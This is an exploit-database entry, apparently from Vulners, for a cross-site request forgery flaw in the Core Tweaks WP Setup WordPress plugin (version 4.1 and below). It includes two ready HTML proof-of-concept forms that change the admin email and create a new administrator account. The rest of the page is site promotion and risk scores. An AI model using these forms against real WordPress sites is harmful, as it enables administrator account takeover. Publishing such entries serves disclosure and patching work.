Lucene search
+L

Core Tweaks WP Setup <= 4.1 - Arbitrary Admin Account Creation / Admin Email Update via CSRF

🗓️ 21 Oct 2021 00:00:00Reported by Francesco CarlucciType 
wpexploit
 wpexploit
👁 73 Views

Core Tweaks WP Setup <= 4.1 - Arbitrary Admin Account Creation / Admin Email Update via CSRF. Change admin email and add new admin account using CSRF exploi

Related
Code
Change current admin email (then attacker can request a password change via the login form)
<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=seo-automatic-wp-core-tweaks%2Fsettings.php" method="POST">
      <input type="hidden" name="action" value="changecore" />
      <input type="hidden" name="email_2" value="ON" />
      <input type="hidden" name="admin_email" value="[email protected]" />
      <input type="hidden" name="submit" value="Make the Changes." />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Add a new admin account:
<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=seo-automatic-wp-core-tweaks%2Fsettings.php" method="POST">
      <input type="hidden" name="action" value="changecore" />
      <input type="hidden" name="new_user" value="ON" />
      <input type="hidden" name="new_login" value="admin-csrf" />
      <input type="hidden" name="new_pass" value="Passw0rd" />
      <input type="hidden" name="new_email" value="[email protected]" />
      <input type="hidden" name="submit" value="Make the Changes." />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Jan 2022 21:35Current
1.4Low risk
Vulners AI Score1.4
EPSS0.00628
73